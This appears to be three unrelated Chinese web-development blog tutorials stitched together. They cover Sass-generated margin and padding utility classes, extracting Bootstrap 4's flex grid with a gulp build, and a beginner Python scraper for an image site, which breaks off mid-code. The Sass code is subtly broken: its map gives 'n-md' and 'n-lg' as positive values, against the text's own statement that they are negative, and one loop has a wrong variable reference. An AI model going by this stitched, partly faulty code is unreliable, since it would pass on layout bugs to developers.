需求分析

有需求才有动力！ 写CSS的时候，你经常会遇到要设置一个小边距，比如设置： 所有内边距10px，外左边距20px，内右边距0，上下内边距50px，外左右边距自动…. 而你是不是又不想自己单独为它们定义一个class，然后把padding, margin之类的写进去？ 举例如下： 现在我有两个p标签，我想让这两个p标签中间相隔10px，那是不是需要？

1
2

<p style="margin-bottom:10px">Hello</p>
<p>World</p>

又或者

1
2
3
4
5
6

<p class="m">Hello</p>
<p>World</p>

.m {
    margin-bottom: 10px;
}

类似这样的情况多了去了，每次都要定个样式就为了解决个边距问题？ 能忍吗？能忍吗？反正我是不能忍。改改改，燥起来！

协议规定

那么为了解决这么一个问题，我们首先要想好解决标准。

边距层级

首先边距问题，我们首先要定义这么几个层级： 极小、很小、小、正常、中等、大、很大、极大。 对应的边距划分为： 2px、5px、10px、15px、20px、30px、40px、50px。 那么代号就标记为： xxs、xs、sm、‘空’、md、lg、xl、xxl。 另外我们还有其他的样式，比如自动auto、初始化initial、继承inherit、无边距none。 那么代号标记为auto、ii、ih、none。 这样的划分基本可以满足需求。

简称划分

然后定义几个简称： 我们用到的单词有内边距、外边距、上下左右等，那么定义如下： padding->p、margin->m、right->r、left->l、top->t、bottom->b、horizontal->h、vertical->v。 其中horizontal和vertical指代水平方向和垂直方向，也就是同时设置左右或者同时设置上下。 当然不能忽略了反向边距，比如外边距是负10px，这个也需要用一个简称，我们定义为n，是反向的意思。 如此一来，所有的简称和边距就规定好了。

实例说明

通过上面的层级关系和简称划分，我们可以对他们进行自由组合，形成一个个class样式。比如： .p-t-xs 即为上内边距是5px，.p-h-md 即为左右内边距是20px，.p-b-n-lg 即为下内边距是-30px， .p-r-xxl 即为右内边距是50px，.p-t 即为上内边距为正常边距15px（正常边距省略即可），.p-n 即为内边距是-15px。 .p-v-n 即为上下内边距是-15px，.m-h-auto 即为水平左右外边距是自动auto, .m-t-ii 即为上外边距是初始化initial。 .m-r-none 即为右外边距是0。 怎样？通过这样的定义，能不能找出规律？即 第一个字母p或者m，代表padding或者margin。 第二个字母代表方向，t上方、b下方、l左方、r右方、v上方和下方、h左方和右方。 第三个（组）字母代表距离，xs是+2px，n-lg是-30px，空是自动边距15px，n是反向正常值-15px，ii是初始化，none是无，auto是自动边距。 怎样？有了这些定义，我们是不是就能非常方便地设置边距样式了？刚才的边距怎样解决？很简单，只需要

1
2

<p class="m-b-sm">Hello</p>
<p>World</p>

如果一个网页里有很多样式，那只需要把整个样式文件引入，自由地添加class就好了。

编写Sass

这么多组合呢？写CSS不累死了？检查也不好检查。 怎么办？上Sass！ 首先我们先定义一层映射，边距映射：

1
2

$map: (none: 0, auto: auto, ii: initial, ih: inherit, xxs: 2px, xs: 5px, sm: 10px, '': 15px, md: 20px, lg: 30px, xl: 40px, xxl: 50px,
        n-xxs: -2px, n-xs: -5px, n-sm: -10px, n: -15px, n-md: 20px, n-lg: 30px, n-xl: -40px, n-xxl: -50px);

这里定义了所有的边距和它的简称。 然后我们尝试写一下padding的函数，遍历一下：

1
2
3
4
5

@each $style, $padding in $map {
 .p-#{$style} {
   padding: $padding !important;
 }
}

这，那空的咋办? 不能留个下划线啊。判断一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14

@function line($style) {
  @if $style != '' {
    @return '-';
  } @else {
    @return '';
  }
}

@each $style, $padding in $map {
  $line: line($style);
 .p#{line}#{$style} {
   padding: $padding !important;
 }
}

这样我们就生成了所有padding边距的设置。 好接下来设置下水平和垂直边距吧，这个就需要两句话了，比如设置水平你得写padding-left 和 padding-right。 有的小伙伴说了，可以直接写一个啊，比如 padding: 0 20px 就可以，不过这样你同时设置了上下边距。即便上下边距我们设置成inherit或者什么其他的，那也多多少少在某种情况下产生影响。 所以这里我们直接分开，而且就算不分开，你之前的映射就要修改，还是麻烦的。 所以这里定义如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

@each $style, $padding in $map {
    $line: line($style);
    .p-v#{$line}#{$style} {
      padding-top: $padding !important;
      padding-bottom: $padding !important;
    }
  }
  
  @each $style, $padding in $map {
    $line: line($style);
    .p-h#{$line}#{$style} {
      padding-left: $padding !important;
      padding-right: $padding !important;
    }
  }

那最后，单边距的定义如下，我们给它加个循环：

1
2
3
4
5
6
7
8
9

$directions: (t: top, b: bottom, l: left, r:right);
  @each $d-key, $d-value in $directions {
    @each $style, $padding in $map {
      $line: line($style);
      .p-#{$d-key}#{$line}#{$style} {
        padding-#{$d-value}: $padding !important;
      }
    }
  }

如此一来，padding的就写好了！ 那么margin的怎么办？很简单，再加一层循环，最终代码如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46

@function line($style) {
  @if $style != '' {
    @return '-';
  } @else {
    @return '';
  }
}

$map: (none: 0, auto: auto, ii: initial, ih: inherit, xxs: 2px, xs: 5px, sm: 10px, '': 15px, md: 20px, lg: 30px, xl: 40px, xxl: 50px,
        n-xxs: -2px, n-xs: -5px, n-sm: -10px, n: -15px, n-md: 20px, n-lg: 30px, n-xl: -40px, n-xxl: -50px);

$names: (m: margin, p: padding);
@each $n-key, $n-value in $names {
  @each $style, $padding in $map {
    $line: line($style);
    .#{$n-key}#{$line}#{$style} {
      #{$n-value}: $padding !important;
    }
  }

  @each $style, $padding in $map {
    $line: line($style);
    .#{$n-key}-v#{$line}#{$style} {
      #{$n-value}-top: $padding !important;
      #{$n-value}-bottom: $padding !important;
    }
  }

  @each $style, $padding in $map {
    $line: line($style);
    .#{$n-key}-h#{$line}#{$style} {
      #{$n-value}-left: $padding !important;
      #{$n-value}-right: $padding !important;
    }
  }

  $directions: (t: top, b: bottom, l: left, r:right);
  @each $d-key, $d-value in $directions {
    @each $style, $padding in $map {
      $line: line($style);
      .#{$n-key}-#{$d-key}#{$line}#{$style} {
        #{$n-value}-#{$d-value}: $padding !important;
      }
    }
  }
}

如此一来，Sass便成功生成了。

编译

写完了那自然要编译一下咯，废话不多说上gulp。

1
2
3
4
5
6
7
8
9
10
11
12
13

gulp.task('styles', () => {
    return gulp.src(path.sass)
    .pipe(plumber())
    .pipe(sourcemaps.init())
    .pipe(sass({outputStyle: 'compressed'}).on('error', sass.logError))
    .pipe(sourcemaps.write())
    .pipe(autoprefixer({
        browsers: ['last 2 versions'],
        cascade: true,
        remove: true
    }))
    .pipe(gulp.dest(path.dest.css));
});

或者你们有考拉编译器啊或者其他的都行，能编译就好。 生成的部分结果展示如下：

1

.m-none{margin:0 !important}.m-auto{margin:auto !important}.m-ii{margin:initial !important}.m-ih{margin:inherit !important}.m-xxs{margin:2px !important}.m-xs{margin:5px !important}.m-sm{margin:10px !important}.m{margin:15px !important}.m-md{margin:20px !important}.m-lg{margin:30px !important}.m-xl{margin:40px !important}.m-xxl{margin:50px !important}.m-n-xxs{margin:-2px !important}.m-n-xs{margin:-5px !important}.m-n-sm{margin:-10px !important}.m-n{margin:-15px !important}.m-n-md{margin:20px !important}.m-n-lg{margin:30px !important}.m-n-xl{margin:-40px !important}.m-n-xxl{margin:-50px !important}.m-v-none{margin-top:0 !important;margin-bottom:0 !important}.m-v-auto{margin-top:auto !important;margin-bottom:auto !important}.m-v-ii{margin-top:initial !important;margin-bottom:initial !important}.m-v-ih{margin-top:inherit !important;margin-bottom:inherit !important}.m-v-xxs{margin-top:2px !important;margin-bottom:2px !important}.m-v-xs{margin-top:5px !important;margin-bottom:5px !important}.m-v-sm{margin-top:10px !important;margin-bottom:10px !important}.m-v{margin-top:15px !important;margin-bottom:15px !important}.m-v-md{margin-top:20px !important;margin-bottom:20px !important}.m-v-lg{margin-top:30px !important;margin-bottom:30px !important}.m-v-xl{margin-top:40px !important;margin-bottom:40px !important}

具体的结果等你自己编译一下看看就好啦。

资源下载

当然有的小伙伴一定嫌麻烦，别急，我这都给你准备好了，编译好的结果放送给大家！ pm.css pm.min.css 需要使用的小伙伴们直接在HTML代码中引入就好啦！

1
2

<link rel="stylesheet" href="http://res.cuiqingcai.com/css/pm.css">
<link rel="stylesheet" href="http://res.cuiqingcai.com/css/pm.min.css">

本文介绍了使用Sass自定义边距样式的流程，希望对大家有帮助！

前言

首先 Flexbox 是什么？它是 Bootstrap4 新出的一个布局格式，对移动端开发非常方便。 说一下我为什么要提取 Flexbox。有需求才有动力，首先是需求，最近在开发一个移动端适配的网站，使用了 materi-ui 框架，基于 React。使用 materi-ui 时，已经内置了许多样式，但是 bootstrap 的一些多余样式会影响一些现有样式，而那些样式对我又没啥用。另外 Flex 对于移动端布局开发非常适合，这次正好也拿来练练手。 移动端开发是趋势，随着移动端的发展，BootStrap 也出了新版本 4，不过现在还是 alpha 版本，还没正式推出。 其中一个比较大的改进便是 Flexbox Grid 系统。 BootStrap 原本最常用的布局栅格化系统在做响应式开发的时候比较方便，但是只针对于移动端开发的时候并没有多大用处了，流行的 Flex 布局应用越来越广泛。 在 Founation 中，看到过有了这种 Flex 布局，它就是适应手机开发的框架。后来 Bootstrap4 也增加了这块。 那么 Flexbox Grid 系统相比之前什么改进呢？请看官方文档实例。 Flexbox Grid P.S 别去上什么中文网，全是错误，实例结果有问题。不想吐槽，一开始我还以为是 Flexbox Grid 设计不科学。

准备工作

首先下载 BootStrap V4。 Bootstrap V4 目前最新版还是 alpha 版本，如链接失效，请移步官网。 BootStrap 然后你需要安装了 node，gulp，自行下载即可。 gulp

开始抽取

下载之后打开 Bootstrap 源代码文件夹，找到 scss 目录，可以看到如下的结构。 mixins 是一些可调用的组件，本身编译不会产生任何结果。utilities 是一些公用的包，比如我们要抽取的 Flex 就在这里面。 外面的这么多是一些公用的基本组件。 通过官方文档可以发现：

If you’re familiar with modifying variables in Sass—or any other CSS preprocessor—you’ll be right at home to move into flexbox mode.

1. Open the _variables.scss file and find the $enable-flex variable.
2. Change it from false to true.
3. Recompile, and done!

Alternatively, if you don’t need the source Sass files, you may swap the default Bootstrap compiled CSS with the compiled flexbox variation. Head to the download page for more information.

如果我们想要添加 Flex 组件，还需要将这个变量更改，即将$enable-flex 改成 true 才可以，默认是 false。 在源代码中我们可以发现已经有了一个 bootstrap-flex.scss 的文件，然而这里面发现直接引入了 bootstrap 的所有代码，这并不是我们想要的，它可能会复写一些基本样式，会影响我们的工程。我们想要的是单独把 Flex 部分抽离出来。 所以我们自己新建一个 bootstrap-flex.scss 的空文件。 首先将变量改为 true

1

$enable-flex: true;

然后阅读源码可以发现有两个公用的 scss 文件是必须引入的。 variables 和 breakpoints，我们先将他们引入。

1
2

@import "variables";
@import "breakpoints";

然后观察带有 flex 的代码，只发现了在 utilities 文件夹中有相关内容，跑不了了，那就是它，复制到同一路径，引入一下。

1

@import "flex";

不过发现这个文件里的样式颇少，内容如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37

// Flex variation
//
// Custom styles for additional flex alignment options.

@if $enable-flex {
  @each $breakpoint in map-keys($grid-breakpoints) {
    // Flex column reordering
    @include media-breakpoint-up($breakpoint) {
      .flex-#{$breakpoint}-first { order: -1; }
      .flex-#{$breakpoint}-last { order: 1; }
      .flex-#{$breakpoint}-unordered { order: 0; }
    }

    // Alignment for every item
    @include media-breakpoint-up($breakpoint) {
      .flex-items-#{$breakpoint}-top { align-items: flex-start; }
      .flex-items-#{$breakpoint}-middle { align-items: center; }
      .flex-items-#{$breakpoint}-bottom { align-items: flex-end; }
    }

    // Alignment per item
    @include media-breakpoint-up($breakpoint) {
      .flex-#{$breakpoint}-top   { align-self: flex-start; }
      .flex-#{$breakpoint}-middle { align-self: center; }
      .flex-#{$breakpoint}-bottom { align-self: flex-end; }
    }

    // Horizontal alignment of item
    @include media-breakpoint-up($breakpoint) {
      .flex-items-#{$breakpoint}-left { justify-content: flex-start; }
      .flex-items-#{$breakpoint}-center { justify-content: center; }
      .flex-items-#{$breakpoint}-right { justify-content: flex-end; }
      .flex-items-#{$breakpoint}-around { justify-content: space-around; }
      .flex-items-#{$breakpoint}-between { justify-content: space-between; }
    }
  }
}

这才多点啊？看官方实例明明用到了 row，col 这些样式好不好。再看看。 于是乎发现这些实际上也是依赖于原始的 grid 样式的。我们必须也要把它引入进来。 找找，发现了三个相关文件，拷贝过来，引入。

1
2
3

@import "mixins/grid";
@import "mixins/grid-framework";
@import "grid";

嗯，这下应该全了。 结构如下所示

编译代码

官方用的是 grunt 自动化工具，然而我用着并不习惯。在这里我们用到 gulp 来编译。 首先 npm init 初始化一个 package.json 引入一些包

1
2
3
4
5
6
7
8
9
10
11
12
13
14

"devDependencies": {
  "babel-core": "^6.3.26",
  "babel-preset-es2015": "^6.16.0",
  "babel-register": "^6.18.0",
  "del": "^2.2.2",
  "gulp": "^3.9.1",
  "gulp-autoprefixer": "^3.1.1",
  "gulp-babel": "^6.1.2",
  "gulp-plumber": "^1.1.0",
  "gulp-postcss": "^6.2.0",
  "gulp-sass": "^2.3.2",
  "gulp-sourcemaps": "^2.2.0",
  "postcss-scss": "^0.3.1"
}

整体的结构如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25

{
  "name": "bootstrap-flex",
  "version": "1.0.0",
  "description": "BootStrap Flex",
  "main": "gulpfile.babel.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "author": "Germey",
  "license": "MIT",
  "devDependencies": {
    "babel-core": "^6.3.26",
    "babel-preset-es2015": "^6.16.0",
    "babel-register": "^6.18.0",
    "del": "^2.2.2",
    "gulp": "^3.9.1",
    "gulp-autoprefixer": "^3.1.1",
    "gulp-babel": "^6.1.2",
    "gulp-plumber": "^1.1.0",
    "gulp-postcss": "^6.2.0",
    "gulp-sass": "^2.3.2",
    "gulp-sourcemaps": "^2.2.0",
    "postcss-scss": "^0.3.1"
  }
}

执行

1

npm install

安装一下 node_modules。 然后生成一个.babelrc 文件，因为我们要用 es2015 的语法，内容。

1
2
3
4
5

{
  "presets": [
    "es2015"
  ]
}

然后写一下 gulpfile.babel.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

import gulp       from 'gulp';
import plumber from 'gulp-plumber';
import sass from 'gulp-sass';
import sourcemaps from 'gulp-sourcemaps';
import del from 'del';
import autoprefixer from 'gulp-autoprefixer';
const source = ['sass/**/*.scss'];
const dest = 'dist/css/';

gulp.task('sass', () => {
    return gulp.src(source)
    .pipe(plumber())
    .pipe(sourcemaps.init())
    .pipe(sass({outputStyle: 'compressed'}).on('error', sass.logError))
    .pipe(sourcemaps.write())
    .pipe(autoprefixer({
        browsers: ['last 2 versions'],
        cascade: true,
        remove: true
    }))
    .pipe(gulp.dest(dest));
});

gulp.task('clean', del.bind(null, ['dist']));

gulp.task('build', ['sass', 'watch'])

gulp.task('watch', () => {
    gulp.watch(source, ['sass']);
});

gulp.task('default', ['clean'], () => {
    gulp.start('build');
});

比较简单，用到的有 sass, sourcemaps, autoprefixer 这几个比较常用的包。 执行

1

gulp

观察下结果。

1
2
3
4
5
6
7
8
9
10
11
12

[18:46:38] Requiring external module babel-register
[18:46:38] Using gulpfile /private/var/www/flex/gulpfile.babel.js
[18:46:38] Starting 'clean'...
[18:46:38] Finished 'clean' after 8.12 ms
[18:46:38] Starting 'default'...
[18:46:38] Starting 'sass'...
[18:46:38] Starting 'watch'...
[18:46:38] Finished 'watch' after 9.63 ms
[18:46:38] Finished 'default' after 25 ms
[18:46:39] Finished 'sass' after 312 ms
[18:46:39] Starting 'build'...
[18:46:39] Finished 'build' after 2.41 μs

恩，没什么问题。可以看到 dist 文件夹下生成了一个文件叫做 bootstrap-flex.css。

测试用例

恩接下来我们来测试一下官方实例是否正常。 新建一个 index.html 内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
    <link rel="stylesheet" href="dist/css/bootstrap-flex.css">
</head>
<body>
<div class="container">
    <div class="row">
        <div class="col-xs">
            1 of 2
        </div>
        <div class="col-xs">
            1 of 2
        </div>
    </div>
    <div class="row">
        <div class="col-xs">
            1 of 3
        </div>
        <div class="col-xs">
            1 of 3
        </div>
        <div class="col-xs">
            1 of 3
        </div>
    </div>

</div>
<div class="container">
    <div class="row">
        <div class="col-xs">
            1 of 3
        </div>
        <div class="col-xs-6">
            2 of 3 (wider)
        </div>
        <div class="col-xs">
            3 of 3
        </div>
    </div>
    <div class="row">
        <div class="col-xs">
            1 of 3
        </div>
        <div class="col-xs-5">
            2 of 3 (wider)
        </div>
        <div class="col-xs">
            3 of 3
        </div>
    </div>
</div>
<div class="container">
    <div class="row">
        <div class="col-xs">
            1 of 3
        </div>
        <div class="col-xs-6">
            2 of 3 (wider)
        </div>
        <div class="col-xs">
            3 of 3
        </div>
    </div>
    <div class="row">
        <div class="col-xs">
            1 of 3
        </div>
        <div class="col-xs-5">
            2 of 3 (wider)
        </div>
        <div class="col-xs">
            3 of 3
        </div>
    </div>
</div>
<div class="container">
    <div class="row flex-items-xs-top">
        <div class="col-xs">
            One of three columns
        </div>
        <div class="col-xs">
            One of three columns
        </div>
        <div class="col-xs">
            One of three columns
        </div>
    </div>
    <div class="row flex-items-xs-middle">
        <div class="col-xs">
            One of three columns
        </div>
        <div class="col-xs">
            One of three columns
        </div>
        <div class="col-xs">
            One of three columns
        </div>
    </div>
    <div class="row flex-items-xs-bottom">
        <div class="col-xs">
            One of three columns
        </div>
        <div class="col-xs">
            One of three columns
        </div>
        <div class="col-xs">
            One of three columns
        </div>
    </div>
</div>
<div class="container">
    <div class="row flex-items-xs-left">
        <div class="col-xs-4">
            One of two columns
        </div>
        <div class="col-xs-4">
            One of two columns
        </div>
    </div>
    <div class="row flex-items-xs-center">
        <div class="col-xs-4">
            One of two columns
        </div>
        <div class="col-xs-4">
            One of two columns
        </div>
    </div>
    <div class="row flex-items-xs-right">
        <div class="col-xs-4">
            One of two columns
        </div>
        <div class="col-xs-4">
            One of two columns
        </div>
    </div>
    <div class="row flex-items-xs-around">
        <div class="col-xs-4">
            One of two columns
        </div>
        <div class="col-xs-4">
            One of two columns
        </div>
    </div>
    <div class="row flex-items-xs-between">
        <div class="col-xs-4">
            One of two columns
        </div>
        <div class="col-xs-4">
            One of two columns
        </div>
    </div>
</div>
<div class="container">
    <div class="row">
        <div class="col-xs flex-xs-unordered">
            First, but unordered
        </div>
        <div class="col-xs flex-xs-last">
            Second, but last
        </div>
        <div class="col-xs flex-xs-first">
            Third, but first
        </div>
    </div>
</div>
<style>
    .row {
        margin-top: 1rem;
    }
    .row > [class^="col-"] {
        padding-top: .75rem;
        padding-bottom: .75rem;
        background-color: rgba(86, 61, 124, 0.15);
        border: 1px solid rgba(86, 61, 124, 0.2);
    }
    .flex-items-xs-top, .flex-items-xs-middle,.flex-items-xs-bottom {
        min-height: 6rem;
        background-color: rgba(255, 0, 0, 0.1);
    }
</style>

</body>
</html>

我把官方实例拿过来测试一下。 结果如下所示 恩，完美！ 至于这个布局的用法，那就去官方文档领悟吧，和之前的 bootstrap 栅格化布局有比较大的不同。 不过如果你看了实例之后，就会豁然开朗了。

代码

本用例代码已上传到 GitHub。 代码实例 有兴趣的小伙伴可以下载测试。

结语

本文讲解了利用抽取 Bootstrap V4 中的 Flex 布局方式以及用 gulp 重新编译 Bootstrap 的过程，希望对大家有帮助。

2018 年 12 月 11 日 入口页面多了一个连接 早期图片 更新了处理过后的代码（删掉了早期图片的 URL，大家可以自己尝试下载这个页面下的所有套图） 2017 年 8 月 30 日：mzitu.com 更新了防盗链导致下载图片全部失效，已更新处理办法： scrapy 版本也已更新 2017 年 4 月 24 日：用 scrapy 重写了一个 mzitu 的全站爬虫： 小白进阶之 Scrapy 第四篇（图片下载管道篇） 2017 年 3 月 31 号 更新 http://www.mzitu.com/all 这个地址已经被站长屏蔽了。下面的代码没法使了哦！仅提供学习方法。 PS：更改了一个新手比较难理解的坑（切换目录的问题），大陆之外的小伙伴儿 需要翻墙，mzitu.com 对大陆之外好像不可访问。倒数第四个代码块儿是 没有函数的脚本写法，看函数有困难的小伙伴儿，可以先看看这个。 这是一篇完全给新手写的爬虫教程、也是我第一次写博文···也不知道怎么写（我也是个菜鸟啊！各路大神拍砖轻点儿啊！）由于经常在群里装逼加上群主懒啊（你看有多久没更新文章就知道了），让我来一篇爬虫的教程。如此装逼机会怎么能错过，今天我来给大家来一篇基础爬虫教程。 你要问目标是啥？ 要知道 XX 才是学习最大的动力啊！所以目标就是 mzitu.com , （废话真多还不开始） ， 下面请各位跟我的教程一步一步走，喂！！说的就是你啊！别看着了，照着教程做啊！ 1、基础环境部分： 工欲其事必先利器，要想把心爱的妹子搬进你的给她准备的房子，总得有几把斧子才行啊！下面这就是几把斧子！ 1.1：Python 基础运行环境：本篇教程采用 Python3 来写，所以你需要给你的电脑装上 Python3 才行，我就说说 Windows 的环境（会玩 Linux 的各位应该不需要我多此一举了）。 anaconda （点我下载）（这是一个 Python 的科学计算发行版本，作者打包好多好多的包， 不知道干啥的没关系，你只需要知道拥有它之后，那些 Windows 下 pip 安装包报错的问题将不复存在） 下载不顺利的同学我已经传到百度云了：http://pan.baidu.com/s/1boAYaTL 1.2：Requests urllib 的升级版本打包了全部功能并简化了使用方法（点我查看官方文档） 1.3： beautifulsoup 是一个可以从 HTML 或 XML 文件中提取数据的 Python 库.它能够通过你喜欢的转换器实现惯用的文档导航,查找,修改文档的方式.（点我查看官方文档）（作为一个菜鸟就别去装逼用 正则表达式了，匹配不到想要的内容，容易打击积极性。老老实实的用beautifulsoup 吧！虽然性能差了点、但是你会爱上它的。） 1.4：LXML 一个 HTML 解析包 用于辅助 beautifulsoup 解析网页（如果你不用 anaconda，你会发现这个包在 Windows 下 pip 安装报错，用了就不会啦。）。 上面的模块需要 单独安装，下面几个就不用啦。 1.5： OS 系统内置模块 下面是ＩＤＥ　你喜欢用什么就用什么啦！ 1.6： PyCharm 一个草鸡好用的 PythonIDE 工具 、真滴！草鸡好用··（我是下载地址）试用三十天 足够完成这个小爬虫啦。（如果你电脑已经存在 Python 环境 又需要使用 anaconda 的话，请按照下面的图设置一下哦！） 好啦、下面开始安装需要的模块。 因为我安装的是anaconda这个科学计算的发行版，安装方式是酱紫滴：conda install 包名（当然 pip install 包名也是可以的哦！）

1
2
3
4
5
6
7

conda install requests
conda install beautifulsoup4
conda install lxml
或者
pip install requests
pip install beautifulsoup4
pip install lxml

大概界面就是上面的样子了。其余类似安装即可，好啦 下面开始正题了 首先我们打开 PyCharm 新建一个 Python 文件，写入以下代码（喂喂！不要复制哦 自己敲一遍 印象更佳啦。）

1
2
3

import requests ##导入requests
from bs4 import BeautifulSoup ##导入bs4中的BeautifulSoup
import os

好啦！准备工作完了、 我们来开始让妹子到碗里来吧ヽ(●-`Д´-)ノ 一个简单爬虫的诞生大慨需要下面几个步骤。（我知道图很简陋、请务必不要吐槽）

• 爬虫入口：顾名思义我需要程序从什么地方开始获取网页
• 存储数据：如果获取的网页有你需要的内容则取出数据保存
• 找到资料所在的地址：如果你你获取到的网页没有你需要的数据、但是有前往该数据页面的地址 URL、则获取这个地址 URL，再获取该 URL 的页面内容（也就等于当作爬虫入口了）

好啦！图很简陋、将就着看看，现在来开始看看网页找一个爬虫入口（开始爬取的页面） 良心站长啊！居然有一个页面有整站所有的数据地址是http://www.mzitu.com/all 我们就以这个页面开始爬取（PS：真良心站长） 下面是我们的第一段代码：用作获取http://www.mzitu.com/all这个页面。

1
2
3
4
5
6
7
8

import requests ##导入requests
from bs4 import BeautifulSoup ##导入bs4中的BeautifulSoup
import os

headers = {'User-Agent':"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1"}##浏览器请求头（大部分网站没有这个请求头会报错、请务必加上哦）
all_url = 'http://www.mzitu.com/all'  ##开始的URL地址
start_html = requests.get(all_url,  headers=headers)  ##使用requests中的get方法来获取all_url(就是：http://www.mzitu.com/all这个地址)的内容 headers为上面设置的请求头、请务必参考requests官方文档解释
print(start_html.text) ##打印出start_html (请注意，concent是二进制的数据，一般用于下载图片、视频、音频、等多媒体内容是才使用concent, 对于打印网页内容请使用text)

PS: 如果对 requests.get(all_url, headers=headers)感到不解的各位，请务必去再看一遍官方文档哦（解释得很清楚呢） 你在你的 IDE 中运行的时候会打印出下面的内容： 第一段部分完成啦！！是不感觉超简单！！！！看懂没？没看懂继续瞅瞅、对于看懂的各位小哥儿（妹儿）我只想说··· 小哥儿（妹儿）！你老牛逼了！！ 没看懂？报错？没关系！看见屏幕右边那个群号没？加它！热心的群友会为你耐心解答滴············ 好啦！第一部分获取网页的部分完成啦！我们来开始第二部分提取我们想要的内容吧！！ 在 Chrome 中打开我们第一部分请求的网址：http://www.mzitu.com/all 、 按下 F12 调出 Chrome 的开发者调试工具（不熟练的同学一定要去了解一下哦！爬虫中绝大部分工作要靠这个来完成呢！是必备技能哦！） 是这样： 看见图中那句话没？没看见？仔细看看那可是我们必须要使用的工具哦！！好啦下面我们看看使用方法 好啦、我们就是通过这种方法来找到我们需要的数据在那一个标签里面的、方便后面提取出来啦！（实例很简陋 看不懂的童鞋百度一下啦！教程很多的） 你会发现这个页面并没有我们需要的图片地址啊！没有那么怎么办呢？上面那张超级简陋的流程图看了嘛？没看？赶快去瞅瞅·· 你就知道我们该干啥啦！ 嗯，我们需要找到图片地址所在的页面！ 观察一下网页你会发现图片页面的地址全部都在

标签瞅瞅就知道啦 点开

1
2
3
4
5
6
7
8
9
10
11
12
13
14

import requests ##导入requests
from bs4 import BeautifulSoup ##导入bs4中的BeautifulSoup
import os



headers = {'User-Agent':"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1"}##浏览器请求头（大部分网站没有这个请求头会报错、请务必加上哦）
all_url = 'http://www.mzitu.com/all'  ##开始的URL地址
start_html = requests.get(all_url,  headers=headers)  ##使用requests中的get方法来获取all_url(就是：http://www.mzitu.com/all这个地址)的内容 headers为上面设置的请求头、请务必参考requests官方文档解释
#print(start_html.text) ##打印出start_html (请注意，concent是二进制的数据，一般用于下载图片、视频、音频、等多媒体内容是才使用concent, 对于打印网页内容请使用text)
Soup = BeautifulSoup(start_html.text, 'lxml') ##使用BeautifulSoup来解析我们获取到的网页（‘lxml’是指定的解析器 具体请参考官方文档哦）
li_list = Soup.find_all('li') ##使用BeautifulSoup解析网页过后就可以用找标签呐！（find_all是查找指定网页内的所有标签的意思，find_all返回的是一个列表。）
for li in li_list: ##这个不解释了。看不懂的小哥儿回去瞅瞅基础教程
    print(li) ##同上

标签、观察不仔细啦！现在我们怎么办？ 我们再去 F12 瞅瞅！ 哈哈！这就简单了，我们推翻上面的思路 现在我们先找到

这个标签 ， 然后直接找标签！ 诶！不对啊！怎么直接找标签了！上面的

标签来限制提取范围啦！所以就直接扔掉了不用了。也方便写代码啊。 现在我们改改上面的代码！

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15

import requests ##导入requests from bs4 import BeautifulSoup ##导入bs4中的BeautifulSoup import os headers = {'User-Agent':"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/22.0.1207.1 Safari/537.1"}##浏览器请求头（大部分网站没有这个请求头会报错、请务必加上哦） all_url = 'http://www.mzitu.com/all' ##开始的URL地址 start_html = requests.get(all_url, headers=headers) ##使用requests中的get方法来获取all_url(就是：http://www.mzitu.com/all这个地址)的内容 headers为上面设置的请求头、请务必参考requests官方文档解释 #print(start_html.text) ##打印出start_html (请注意，concent是二进制的数据，一般用于下载图片、视频、音频、等多媒体内容是才使用concent, 对于打印网页内容请使用text) Soup = BeautifulSoup(start_html.text, 'lxml') ##使用BeautifulSoup来解析我们获取到的网页（‘lxml’是指定的解析器 具体请参考官方文档哦） #li_list = Soup.find_all('li') ##使用BeautifulSoup解析网页过后就可以用找标签呐！（find_all是查找指定网页内的所有标签的意思，find_all返回的是一个列表。） #for li in li_list: ##这个不解释了。看不懂的效小哥儿回去瞅瞅基础教程 #print(li) ##同上 all_a = Soup.find('div', class_='all').find_all('a') ##意思是先查找 class为 all 的div标签，然后查找所有的<a>标签。 for a in all_a: print(a)

PS: ‘find’ 只查找给定的标签一次，就算后面还有一样的标签也不会提取出来哦！ 而 ‘find_all’ 是在页面中找出所有给定的标签！有十个给定的标签就返回十个（返回的是个 list 哦！！）,想要了解得更详细，就是看看官方文档吧！ 来看看运行结果！ 哇哦！！全是我们需要的类容诶！什么？你的和这个不一样？或者报错了？回头看看 你做的和我有什么不一样······ 实在不行，群里求助吧！ 好啦！现在我们该来提取我们想要的内容了！又该我们 BeautifulSoup 大展身手了。 我们需要提取出标签的 href 属性和文本。怎么做呢？看代码!

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20

